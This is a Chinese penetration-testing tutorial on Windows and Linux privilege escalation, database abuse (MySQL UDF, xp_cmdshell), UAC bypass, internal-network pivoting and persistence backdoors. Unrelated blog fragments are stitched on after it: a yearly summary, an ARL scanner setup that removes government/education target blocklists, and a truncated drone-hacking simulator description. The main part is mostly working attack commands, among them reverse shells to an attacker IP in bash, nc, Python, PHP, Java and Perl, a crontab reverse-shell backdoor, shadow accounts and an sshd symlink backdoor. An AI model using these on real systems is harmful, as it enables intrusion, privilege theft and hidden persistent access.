提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见

windows权限提升

当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。

一般来说,提权通常是改变用户

windows: user -> system user->administrator
linux: user->root

  • 提权的方式通常有:
  • 系统漏洞提权
  • 数据库提权
  • 第三方软件/服务提权
  • 系统配置错误提权

如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控

系统漏洞提权

常规流程:获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权

  1. cmd中systeminfo查看补丁安装情况
  2. 使用补丁在线查询工具:blog.neargle.com/win-powerup-exp-index/#
  3. 将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号
  4. github作者整合了大部分exp:github.com/SecWiki/windows-kernel-exploits(windows-kernel就是代表windows内核)
  5. 将exp上传至目标机
  6. 每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同
  7. 获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。
  8. 靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马

windows数据库提权

这种提权方式已经用的很少了

mysql数据库提权

mysql提权的必要条件:获取Mysql数据库最高权限root的账号密码

获取方法:

  1. 查看数据库配置文件
  2. 下载mysql安装路径下的数据文件并破解
  3. 安装路径下的data存放的是数据库的信息,root的账号密码存放在mysql下的user表中,完整路径=安装路径+data+mysql+user.myd
  4. 暴力破解

mysql的三种提权方式:

  1. udf提权
  2. mof提权
  3. 启动项提权

MOF提权

  • 原理:利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件。该文件每几秒会执行一次,向其中写入cmd命令使其被执行
  • 利用条件
  • windows<= 2003
  • 对c:/windows/system32/wbem/mof/目录有读写权限
  • 可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入

因为需要有写文件权限(into outfile),所以可用到的环境很少

  • 提权方法
  1. 上传mof文件
  2. 执行load_file和into dumpfile将文件导出到指定位置
    select load_file('mof目标路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

nullevt.mof文件的内容
nn0wxyczm5r15246.png

UDF提权

  • 原理:UDF(user defined function)用户自定义函数通过添加新函数,对mysql服务器进行功能扩充,将mysql账号转化为system权限。
  • 方式:通过root权限导出udf.dll到系统目录下,使udf.dell调用cmd
  • 利用条件:
  • windows 2000\XP\2003
  • 账号对mysql有插入和删除权限
  • 对应目录有写权限

mysql版本对应的udf.dll导出路径:

数据库版本操作系统udf.dll导出路径
<5.0所有操作系统路径随意
<=5.1windows2003c:\windows\system32\udf.dll
<=5.1windows2000c:\winnt\system32\udf.dll
>5.1所有操作系统mysql安装目录下的lib\plugin\udf.dll

mysql安装目录查询语句: select @@basedir

  • udf 提权步骤
  • select user();\version();\basedir()判断数据库版本、用户和安装目录
  • 如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
    select 'xxx' into dumpfile 'mysql目录\\lib:$INDEX_ALLOCATION';
    select 'xxx' into dumpfile 'mysql目录\\lib\plugin:$INDEX_ALLOCATION';
    或者是webshell直接创建
  • 导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。
  • 上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。
  • 创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
    必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库
  • 执行高权限指令:select sys_eval('whoami');
    将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add")
  • 清除痕迹
    drop function sys_eval;
    delete from mysql.func where name="sys_eval";

启动项提权

  • 原理:windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。将一段vbs脚本导入开机启动项,如果管理员重启了服务器,那么就会自动调用,并执行其中的用户添加及提权命令
  • 利用条件:
  • 目标目录可读写
  • 调用的cmd要有足够权限
  • 重启服务器可以利用导致服务器蓝屏的exp,或者ddos
  • 提权方式
  • 直接将vbs提权脚本上传到启动项目录下
  • sql命令创建添加vbs脚本

vbs提权脚本:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) #得到adsi接口
Set oe=GetObject(os&"/Administrators,group") #用户组
Set od=ob.Create("user","name") #name为用户名
od.SetPassword "passwd" #passwd为密码
od.SetInfo #保存
Set of=GetObject(os&"/name",user) #得到用户
oe.add os&"/name"
  • sql命令创建
  • 连接到对方MySQL服务器,进入后查看数据库中有哪些数据表
  • 命令:show tables
  • 默认的情况下,test中没有任何表的存在。
  • 进入test数据库,并创建一个新的表:
    create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本
  • 在表中插入内容,用这三条命令来建立一个VBS的脚本程序:

insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)");

  1. 输出表为一个VBS的脚本文件
    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动1.vbs";
  2. 利用其他手段重启电脑

sql server提权

  • 利用条件
  • 必须获得sa的账号密码或者与sa相同给权限的账号密码,且mssql没有被降权
  • 能执行sql语句。如webshell或者1433端口连接

在windows,sa账号通常是被降权为db-owner的。而不是sysadmin

  • 获取sa号密的方法:
  1. webshell或源码获取。一般在网站的配置文件中存了明文账号密码,常用配置文件如:conn.aspx、config.aspx、config.php等
    一般格式如:server=localhost;UID=sa;PWD=passwd;database=db
  2. 源码泄露
  3. 嗅探。在局域网中用Cain等工具进行arp嗅探的时候可以抓取到1433端口的数据库明文登录
  4. 暴力破解

xp_cmdshell提权

  • xp_cmdshell:
  • 存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程
  • xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令
  • xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启

xp_cmdshell提权过程:
(2005以前的版本):

  1. 连接数据库:
    select ame from master.dbo.sysdatabases获取所有的数据库名
  2. 查看当前版本select @@version
    判断当前是否为saselect is_srvrolemember('sysadmin')
    判断是否有public权限select is_srvrolemember('public')
    判断是否有读写文件权限select is_srvrolemember('db_owner')
  3. 查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

(2005后的版本):

  1. 开启xp_cmdshell

```exec sp_configure 'show advance options',1;//允许修改高级参数
reconfigure;
exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展
reconfigure;

2. xp_cmdshell执行命令

```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd
exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组

windows bypass uac

uac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置

uac的三种设置要求:

  1. 始终通知
  2. 仅在系统试图更改我的计算机时通知(Uac默认设置,第三方使用高级别权限时会提示本地用户)
  3. 从不提示(用户为系统管理员时所有程序都会以最高权限运行)

相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码

msf bypass uac

前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户

  • bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shell
  • bypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
  • bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

msf exploit:>use exploit/windows/local/bypassuac
然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置

利用系统漏洞bypass uac

CVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233

  • 漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限

如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权

要能连3389

Linux提权

linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤

linux系统提权

linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权

uname -a 获取操作系统内核版本和内核架构
id 获取用户信息

  1. 查找相关版本的内核漏洞
  2. exp搜索链接:https://www.exploit-db.com/ (type选local)
exp下载:http://github.com/SecWiki/linux-kernel-exploits
  1. 上传exp并编译
    exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++
    编译 gcc pwn.c -o pwn (exp下载文件里有对应的编译说明文档)
    运行 ./pwn
    如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机

windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell

脏牛提权实例

  1. id查看目标机用户权限
  2. uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
  3. 寻找对应exp `http://github/FireFart/dirtycow
  4. exp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt
  5. 完成后,销毁firefart密码文件即可恢复root
    mv /tmp/passwd.bak /etc/passwd

获取shell后将shell转换为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")'

suid提权

此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute
wxe4f3hjhib15251.png

所有者-所属者-其他用户

  • suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。
    chmod u+s FILE\chmod 4755 FILE 添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位)
    chmod u-s FILE\chmod 0xxx FILE 删除suid
    a5q4g0dnxyc15252.png
  • 文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效

简而言之,任何用户执行有suid的文件时,都会以第一个权限运行

所以利用suid提权的一个小案例就是:
创建一个1.c文件,代码如下:

#include<unistd.h>
void main(){
setuid(0); #root的uid=0,意味着执行后面的代码是root权限在执行
system("su - root);#将当前环境转为root
}

gcc 1.c -o 1编译
chmod u+s 1 添加suid
./1 执行
su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。

linux数据库提权

和windows一样的,udf提权

  • 环境要求:配置中secure_file_priv="",
    mysql具有root权限,具有sql语句执行权限,目录可读可写,selinux关闭

先获取低权限shell,提权过程:
1fnonuek02d15254.png

  1. 查看plugin目录路径 show variables like '%plugin%';
    select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so'; (plugin路径/1.so)
  2. 声明函数 create function sys_eval returns string soname '1.so';
  3. 执行高权限命令 select sys_eval('whoami');
  4. 清除痕迹 drop function sys_eval;

windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
详情请见上篇windows提权

反弹shell

  • 反弹shell使用场景:防火墙会阻止客户端主动连接服务器,但是服务器连接客户端通过防火墙时,可以穿透到达客户端

nc

netcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
它可以用作端口监听、端口扫描、远程文件传输、远程shell等

  • 语法:nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]
  • 反向shell
    假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell
    uct2brgy0pp15257.png
  1. 在攻击机或vps上监听本地端口nc -lvp 监听端口号
  2. 靶机命令,连接攻击机的监听端口nc 攻击机ip 监听端口号 -e /bin/bash #linux
    nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe #windows
    -e:将bash shell 发回主机
  3. 正向shell
    正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
    eiqz0w4wgyw15260.png

bash反弹shell

目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell

  • 攻击机监听:nc -lvvp 端口
  • 目标主机:bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1
bash -i产生一个交互式shell
&将&前后内容相结合重定向(>)至后者
/dev/tcp/ip/port对socket网络连接的抽象
0>&1将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出

其他反弹shell方式

python反弹shell

import soket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
os.dup(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

php反弹shell

$sock=fsockopen("攻击机IP",监听端口);
exec("/bin/sh -i <&3 >&3 2>&3");

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
p.waitFor()

perl 反弹shell

use Socket;
$i="攻击机IP地址";
$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
(open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};

perl和python绝大多数服务器都会装,所以很有用

以某次内网渗透为实例

横向渗透预备工作

pumeeyipulr15267.png
假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。

获得低权限shell

  • 在网站信息搜集看到是joomla模板
  • msf里search joomla 查看 辅助模块auxiliar里的扫描脚本auxiliary/scannner/http/joomla_version
  • use脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂后台
  • searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便
  • 把脚本copy到msf的exploits/multi/php目录下,然后reload
  • use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行

目前获得了低权限shell,sessions进入shell

提权

  • uname -a查看系统信息
  • gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听新端口
  • shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shell
  • searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
  • 上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
  • gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下

提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)

一级代理

  • 靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器
  • ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发
  • use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机
  • 扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行
  • vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)

如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理

reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端

内网的站打下来了重复上述步骤到提权。

二层内网渗透(bind)

  • 生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
  • 同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
  • 在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
  • 扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描

如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信

lcx被检测概率太大,用frp

二层内网渗透(frp工具reverse)

关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==

比如某frpc.ini的内容

[common]
server_addr=172.16.12.2
server_port=7100
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=5000
remote_port=5000

如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
服务端只有两行,监听一下就行了

[common]
bind_port=7100

这里,我要强调本文的精华

==frp端口转发与内网穿透==

do11g3ae5qw15273.png

还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。

可以理解为都是端口转发,访问frps所在主机就相当于访问frpc,所以frps一定要在中间的机器上。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。

上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)

二层代理

  • msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行
  • 对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打
  • 配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
  • 访问三层内网机的80端口,准备三层内网渗透(打80端口)

二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发

简单提一下三层内网,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去

所以!多层代理就是把多层主机端口串起来!

什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具

Termite

Termite用于管理多层跳板,有admin和agent两个文件。

  • 在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口
  • 在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳ok
  • admin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
  • 二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。

小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制

权限维持

权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门

windows后门

常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
大多数情况下,后门是一个隐藏进程。

  • shift后门

windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。

将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录

除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。

  • 映像劫持
    现在很难使用了,在高版本的windows版本中替换的文件受到了系统保护,所以要映像劫持。
    a.exe实际打开是b.exe,就是劫持

映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写

映像劫持的制作过程

  1. 在注册表中新建一个项
    注册表位置HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
  2. 程序中添加debugger键
  3. 键值设置为恶意程序的路径
  • 计划任务后门
    计划任务在win7及之前版本的操作系统中使用at命令,win8及之后使用schtasks命令

创建计划任务基本命令: schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1
上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率

  • 注册表自启动后门

制作过程

  1. 打开注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
  2. 添加键值REG_SZ
  3. 数据中填运行程序路径
  • 影子账户(杀毒能杀)
    顾名思义隐藏账户,只能通过注册表查看该用户。影子账户可以获得管理员权限且不易被发现

制作过程

  1. 创建隐藏账户
    创建隐藏账户只需在账户名后加\$符号,如net user test$ 123 /add
  2. 修改并导出注册表
  • 注册表位置HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/,如进入SAM无法看到子选项,需要给administrators完全控制权限
  • 将administrator用户的F值复制到test\$对应F值,保存
  • 将test\$和users右键导出
  1. 删除创建的隐藏用户
    cmd删除test\$net user test$ /del
  2. 导入注册表
    双击导出的两个注册表

影子账户试了一下,还是很牛逼的。

linux后门

  • 计划任务后门(crontab后门)

crontab命令介绍
gaq3sowrh4q15276.png

  • crontab命令用来管理用户需要周期执行的任务。等于windows计划任务。crond进程每分钟会定期检查是否有要执行的任务,如果有则自动执行
    通常在计划任务中添加后门,或者替换服务进程,以及反弹shell
  • 反弹shell
  1. 攻击机监听nc -lvvp 本地端口号
  2. 目标机中设置计划任务crontab -e
    下列代码表示每分钟反弹一次shell到攻击机
    */1 * * * * bash -i >& /dev/tcp/攻击机外网ip/攻击机端口 0>&1
  • ssh公钥免密(常用)
    将客户端生成的ssh公钥写道目标服务器的 ~/.ssh/authorized_keys中,之后客户端利用私钥完成认证即可登录。该后门易被发现

制作过程

  1. 在攻击机上生成公钥私钥对
    ssh-keygen -t rsa

在中途会让输入密钥对密码,如果需要免密登录则回车跳过

  1. 将攻击机.ssh目录下的id_rsa.pub复制到目标服务器的/root/.ssh/authorized_key文件里
    scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys
    450wvythgqg15280.png
  2. 在目标服务器中,将authorized_keys权限改为600
    chmod 600 /root/.ssh/authorized.keys
  3. 尝试免密登录

详情请见ssh登录详解

  • ssh软连接后门
    非常经典的后门,直接对sshd建立软连接,之后就能用任意密码登录

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用/etc/pam.d中存在的其他软连接名字

特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到

  1. 本地查看端口会暴露
  2. 能绕过一些流量监控

制作过程

  1. 创建软连接 ln -sf /usr/sbin/sshd /tmp/su
  2. 设置监听端口。因为本地查看端口容易暴露,建议设置8080,8081伪装 /tmp/su -o Port=8080
    运行/tmp/su就等于运行/usr/sbin/sshd,连不上可以nmap扫一下,有防火墙连不上
  • inetd/xinetd后门(很老很老)
    监听外部网络请求(socket)的系统守护进程
    具体工作过程:当inetd收到一个外部请求后,会到配置文件中找到实际处理它的程序,在把socket交给那个程序处理

inetd后门制作

  1. 向/etc/inetd.conf文件中加入一行:daytime stream tcp nowait root /bin/bash bash -i
  2. 开启inet后用nc连接:nc -lvvp 目标ip 13

还有prism后门等在服务器安装软件的,极易被发现



作者:godown文章原文来源: https://xz.aliyun.com/t/11784




来自为知笔记(Wiz)

HireHackking

迟来的年度总结

我不知道现在写年度摘要是否有点晚。

2019

在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。

由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。

选择“深度”

找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。

选择“广度”

这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。

2020

我的答案

最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。

未来计划

将继续练习网络(很容易开始,很难深入研究)

扩展Intranet渗透的新方向(水平,没有杀戮,权利保护)

Python(清晰的想法,高效编码)

最终目标

努力通过自己独特的见解实现相对完整的渗透测试系统

拉取项目

首先从GitHub克隆到服务器上。

git clone https://github.com/ki9mu/ARL-plus-docker/

file

修改配置文件

因为ARL在配置文件里设置了黑名单,有时候项目为GOV或者EDU之类的时候无法进行扫描,所以在这里修改一下配置文件就可以解除限制。

cd ARL-plus-docker/
vi config-docker.yaml

在这里删掉黑名单里的几项就可以了

file

修改后:

file

增加和修改riskiq以及fofa API

vqypggl1gjy15042.png

再增强版里添加了Oneforall的模块,所以在配置文件里需要打开,因为clone下来的代码里默认是Flase,这里将需要想打开的开关替换为Ttue即可。

vi oneforall-config/setting.py 

file

修改后:

file

修改为配置文件之后就开始启动docker,先添加一个volume,然后docker-compose up -d就可以直接启动,拉取镜像的时候如果很慢可以换一下docker源。

docker volume create --name=arl_db
docker-compose up -d

file

当看到一排done就说明成功了,这时候还需要进容器修改一下python代码,因为在python脚本里也有黑名单。先使用docker ps看一下容器的ID,然后进入这个容器进行修改,使用vi进行编辑。

docker ps #查看容器ID
docker exec -it 对应ID bash
vi app/config.py 

修改前:

file

file

添加指纹

安装成功之后,添加一下指纹,让你的灯塔有更强大的指纹。

地址:https://vps:5003/![file](http://www.a10ng.top/wp-content/uploads/2022/09/2022090213085544.png)
默认账密:admin\arlpass

git clone https://github.com/loecho-sec/ARL-Finger-ADD
cd ARL-Finger-ADD
python ARL-Finger-ADD.py -O https://vps:5003/  admin arlpassCOPY

file

安装成功

用默认密码登陆,然后在右上角修改掉默认密码就可以愉快的使用了。



该死的脆弱的无人机是基于流行的Ardupilot/Mavlink架构的有意脆弱的无人机黑客模拟器,为动手无人机黑客入侵提供了现实的环境。

关于该死的脆弱无人机

该死的脆弱无人机是什么?

该死的脆弱无人机是一个虚拟模拟的环境,旨在为进攻安全专业人员安全地学习和练习无人机黑客黑客入侵技术。它模拟了现实世界中的Ardupilot Mavlink无人机架构和漏洞,从而提供了动手实践的无人机系统体验。

010-110该死的脆弱的无人机旨在在受控环境中提高进攻性安全技能,使其成为中级安全专业人员,五旬节和黑客攻击爱好者的宝贵工具。

与飞行员如何利用飞行模拟器进行训练,我们可以使用该死的脆弱的无人机模拟器来获得对现实世界无人机系统的深入了解,了解其脆弱性,并学习有效的方法来利用它们。

该死的脆弱的无人机平台是开源的,无需免费提供,专门设计用于解决与无人机硬件,黑客式工具和维护相关的大量费用。它的无成本性质允许用户无人关注而将自己沉浸在无人机黑客攻击中。这种可访问性使该死的脆弱的无人机成为信息安全和渗透测试领域的人的残酷资源,从而促进了安全环境中进攻性网络安全技能的发展。

为什么要建造?

该死的脆弱的无人机平台按照软件中的原理(SITL)运行,这是一种模拟技术,允许用户运行无人机软件,就好像它在实际无人机上执行一样,从而复制真实的无人机行为和响应。

Ardupilot的SITL允许在虚拟环境中执行无人机的固件,模仿无需物理硬件而无需实体无人机的行为。通过动态的3D机器人模拟器Guazebo进一步增强了该模拟,该模拟器为无人机提供了一个现实的环境和物理引擎。 Ardupilot的SITL和Gazebo一起为精致而真实的无人机模拟体验奠定了基础。

虽然当前该死的脆弱无人机设置并不能反映每个无人机体系结构或配置,但集成的策略,技术和场景广泛适用于各种无人机系统,模型和通信协议。

它如何工作?

